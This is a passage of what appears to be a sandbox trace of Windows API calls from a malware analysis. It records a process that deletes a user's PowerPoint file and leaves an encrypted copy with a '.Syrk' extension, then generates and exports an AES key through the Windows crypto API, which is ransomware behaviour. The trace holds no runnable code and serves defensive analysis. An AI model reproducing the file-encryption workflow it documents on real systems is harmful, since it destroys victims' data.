byo0\\JGqHA5Ln0.ppt", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", lpFilePart=0x0) returned 0x50 [0222.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0222.428] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0222.428] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", lpFilePart=0x0) returned 0x50 [0222.428] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0222.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0222.429] CoTaskMemAlloc (cb=0x404) returned 0x5c99488 [0222.429] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c99488, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0222.429] CoTaskMemFree (pv=0x5c99488) [0222.433] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt")) returned 0x20 [0222.433] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0222.433] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt", lpFilePart=0x0) returned 0x50 [0222.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0222.434] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt"), fInfoLevelId=0x0, lpFileInformation=0x23be7c0 | out: lpFileInformation=0x23be7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912824a0, ftCreationTime.dwHighDateTime=0x1d993ae, ftLastAccessTime.dwLowDateTime=0xa460270, ftLastAccessTime.dwHighDateTime=0x1d99856, ftLastWriteTime.dwLowDateTime=0xa460270, ftLastWriteTime.dwHighDateTime=0x1d99856, nFileSizeHigh=0x0, nFileSizeLow=0x18491)) returned 1 [0222.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0222.434] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt")) returned 1 [0222.553] EtwEventActivityIdControl () returned 0x0 [0222.553] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.554] EtwEventActivityIdControl () returned 0x0 [0222.554] EtwEventActivityIdControl () returned 0x0 [0222.554] EtwEventActivityIdControl () returned 0x0 [0222.565] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt.syrk")) returned 0x20 [0222.567] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt.syrk")) returned 0x20 [0222.567] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0222.567] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt.Syrk", nBufferLength=0x56, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt.Syrk", lpFilePart=0x0) returned 0x55 [0222.568] EtwEventActivityIdControl () returned 0x0 [0222.568] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.569] EtwEventActivityIdControl () returned 0x0 [0222.569] EtwEventActivityIdControl () returned 0x0 [0222.569] EtwEventActivityIdControl () returned 0x0 [0222.575] EtwEventActivityIdControl () returned 0x0 [0222.575] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.576] EtwEventActivityIdControl () returned 0x0 [0222.576] EtwEventActivityIdControl () returned 0x0 [0222.576] EtwEventActivityIdControl () returned 0x0 [0222.579] EtwEventActivityIdControl () returned 0x0 [0222.580] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.580] EtwEventActivityIdControl () returned 0x0 [0222.580] EtwEventActivityIdControl () returned 0x0 [0222.580] EtwEventActivityIdControl () returned 0x0 [0222.584] EtwEventActivityIdControl () returned 0x0 [0222.585] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.585] EtwEventActivityIdControl () returned 0x0 [0222.585] EtwEventActivityIdControl () returned 0x0 [0222.585] EtwEventActivityIdControl () returned 0x0 [0222.590] EtwEventActivityIdControl () returned 0x0 [0222.590] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.590] EtwEventActivityIdControl () returned 0x0 [0222.590] EtwEventActivityIdControl () returned 0x0 [0222.590] EtwEventActivityIdControl () returned 0x0 [0222.594] EtwEventActivityIdControl () returned 0x0 [0222.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0222.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\JGqHA5Ln0.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\jgqha5ln0.ppt.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23ce69c | out: lpFileInformation=0x23ce69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e30d0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x9e30d0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xaeda70, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x184b4)) returned 1 [0222.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0222.695] GetConsoleOutputCP () returned 0x1b5 [0222.695] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0222.695] GetConsoleOutputCP () returned 0x1b5 [0222.695] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0222.695] GetConsoleOutputCP () returned 0x1b5 [0222.695] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0222.695] GetConsoleOutputCP () returned 0x1b5 [0222.696] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0222.696] GetConsoleOutputCP () returned 0x1b5 [0222.696] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0222.696] GetConsoleOutputCP () returned 0x1b5 [0222.696] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0222.696] GetConsoleOutputCP () returned 0x1b5 [0222.696] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0222.697] GetConsoleOutputCP () returned 0x1b5 [0222.697] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0222.697] GetConsoleOutputCP () returned 0x1b5 [0222.697] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0222.697] GetConsoleOutputCP () returned 0x1b5 [0222.697] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0222.697] GetConsoleOutputCP () returned 0x1b5 [0222.697] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0222.697] GetConsoleOutputCP () returned 0x1b5 [0222.698] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0222.698] GetConsoleOutputCP () returned 0x1b5 [0222.698] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0222.698] GetConsoleOutputCP () returned 0x1b5 [0222.698] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0222.698] GetConsoleOutputCP () returned 0x1b5 [0222.698] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0222.698] GetConsoleOutputCP () returned 0x1b5 [0222.699] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0222.699] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0222.699] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0222.699] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23e89d8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23e89d8*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0222.700] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0222.700] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0222.701] EtwEventActivityIdControl () returned 0x0 [0222.701] EtwEventActivityIdControl () returned 0x0 [0222.701] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.702] EtwEventActivityIdControl () returned 0x0 [0222.702] EtwEventActivityIdControl () returned 0x0 [0222.702] EtwEventActivityIdControl () returned 0x0 [0222.704] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.705] EtwEventActivityIdControl () returned 0x0 [0222.705] EtwEventActivityIdControl () returned 0x0 [0222.705] EtwEventActivityIdControl () returned 0x0 [0222.707] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d188) returned 1 [0222.708] CryptGenKey (in: hProv=0x5c4d188, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c69500) returned 1 [0222.708] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0222.708] CryptExportKey (in: hKey=0x5c69500, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0222.709] CryptExportKey (in: hKey=0x5c69500, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23f03a4, pdwDataLen=0x5a2e8c4 | out: pbData=0x23f03a4*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0222.709] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.710] EtwEventActivityIdControl () returned 0x0 [0222.710] EtwEventActivityIdControl () returned 0x0 [0222.710] EtwEventActivityIdControl () returned 0x0 [0222.710] SysStringLen (param_1="") returned 0x8 [0222.711] SysStringLen (param_1="o") returned 0x8 [0222.711] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.711] SysStringLen (param_1="싃頀唐꘴냚畩숖") returned 0x8 [0222.711] SysStringLen (param_1="싃頀唐꘴냚畩숖") returned 0x8 [0222.711] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.711] SysStringLen (param_1="o3") returned 0x8 [0222.711] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.711] SysStringLen (param_1="韢ӵʐ坹㚯斃덁") returned 0x8 [0222.711] SysStringLen (param_1="韢ӵʐ坹㚯斃덁") returned 0x8 [0222.711] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.711] SysStringLen (param_1="o33") returned 0x8 [0222.711] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.711] SysStringLen (param_1="컾딆奵掎ॡ몗圝罣") returned 0x8 [0222.711] SysStringLen (param_1="컾딆奵掎ॡ몗圝罣") returned 0x8 [0222.712] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.712] SysStringLen (param_1="o33p") returned 0x8 [0222.712] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.712] SysStringLen (param_1="ꑺ⮯녛㞡햏懕") returned 0x8 [0222.712] SysStringLen (param_1="ꑺ⮯녛㞡햏懕") returned 0x8 [0222.712] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.712] SysStringLen (param_1="o33pU") returned 0x8 [0222.712] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.712] SysStringLen (param_1="ᵤੋ⇟钹ᤶ䔊ꒃ\⋝) returned 0x8 [0222.712] SysStringLen (param_1="ᵤੋ⇟钹ᤶ䔊ꒃ\⋝) returned 0x8 [0222.712] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.712] SysStringLen (param_1="o33pUJ") returned 0x8 [0222.712] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.713] SysStringLen (param_1="咗蛥♈璇㴿ሳ㒢") returned 0x8 [0222.713] SysStringLen (param_1="咗蛥♈璇㴿ሳ㒢") returned 0x8 [0222.713] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.713] SysStringLen (param_1="o33pUJ8") returned 0x8 [0222.713] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.713] SysStringLen (param_1="ഛ㈕⥅䯜㶲糉藡⊬") returned 0x8 [0222.713] SysStringLen (param_1="ഛ㈕⥅䯜㶲糉藡⊬") returned 0x8 [0222.713] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.713] SysStringLen (param_1="o33pUJ83") returned 0x8 [0222.713] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.713] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ") returned 0x8 [0222.714] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ") returned 0x8 [0222.714] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ") returned 0x8 [0222.714] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ") returned 0x10 [0222.714] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.714] SysStringLen (param_1="o33pUJ83f鮤퉲嬜蓦磺汬") returned 0x10 [0222.714] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.715] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗﰬ骙꫽櫪㝾⭼㙭") returned 0x10 [0222.715] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗﰬ骙꫽櫪㝾⭼㙭") returned 0x10 [0222.715] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.715] SysStringLen (param_1="o33pUJ83fY퉲嬜蓦磺汬") returned 0x10 [0222.715] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.715] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ醗ᛯ߮盖縎淽ꊌ") returned 0x10 [0222.715] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ醗ᛯ߮盖縎淽ꊌ") returned 0x10 [0222.715] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.715] SysStringLen (param_1="o33pUJ83fYi嬜蓦磺汬") returned 0x10 [0222.715] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.715] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ㽎䃀憒") returned 0x10 [0222.715] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ㽎䃀憒") returned 0x10 [0222.715] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.716] SysStringLen (param_1="o33pUJ83fYie蓦磺汬") returned 0x10 [0222.716] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.716] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ⟓얲ﵰး⛰楰䁜") returned 0x10 [0222.716] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ⟓얲ﵰး⛰楰䁜") returned 0x10 [0222.716] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.716] SysStringLen (param_1="o33pUJ83fYie8蓦磺汬") returned 0x10 [0222.716] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.716] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ졣㘨쳗\엛朼⯴⋙) returned 0x10 [0222.716] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ졣㘨쳗\엛朼⯴⋙) returned 0x10 [0222.716] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.716] SysStringLen (param_1="o33pUJ83fYie88磺汬") returned 0x10 [0222.716] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.716] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗҤ谐텮壱댣ᷰᖘ轊") returned 0x10 [0222.716] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗҤ谐텮壱댣ᷰᖘ轊") returned 0x10 [0222.716] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.717] SysStringLen (param_1="o33pUJ83fYie886汬") returned 0x10 [0222.717] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.717] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ๽벞츯̛⩞퓁╊") returned 0x10 [0222.717] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ๽벞츯̛⩞퓁╊") returned 0x10 [0222.717] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.717] SysStringLen (param_1="o33pUJ83fYie886D") returned 0x10 [0222.717] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.717] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜") returned 0x10 [0222.717] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜") returned 0x10 [0222.717] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜") returned 0x10 [0222.718] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜") returned 0x18 [0222.718] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.718] SysStringLen (param_1="o33pUJ83fYie886DT䶒峁ꟗ㈖鈠ӽ") returned 0x18 [0222.718] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.718] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜萏䕎䲥칿ᶶ௡瓱猄") returned 0x18 [0222.718] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜萏䕎䲥칿ᶶ௡瓱猄") returned 0x18 [0222.718] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.718] SysStringLen (param_1="o33pUJ83fYie886DTd峁ꟗ㈖鈠ӽ") returned 0x18 [0222.718] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.718] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜ꦟ뉹増쪏唤듐郏") returned 0x18 [0222.718] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜ꦟ뉹増쪏唤듐郏") returned 0x18 [0222.719] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.719] SysStringLen (param_1="o33pUJ83fYie886DTdrꟗ㈖鈠ӽ") returned 0x18 [0222.719] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.719] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜᭽덠휪魔᡽حﯔ") returned 0x18 [0222.719] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜᭽덠휪魔᡽حﯔ") returned 0x18 [0222.719] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.719] SysStringLen (param_1="o33pUJ83fYie886DTdrF㈖鈠ӽ") returned 0x18 [0222.719] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.719] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜겡蓈ﳜ䠾立찁鞻퐘") returned 0x18 [0222.719] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜겡蓈ﳜ䠾立찁鞻퐘") returned 0x18 [0222.719] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.719] SysStringLen (param_1="o33pUJ83fYie886DTdrFf鈠ӽ") returned 0x18 [0222.719] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.720] 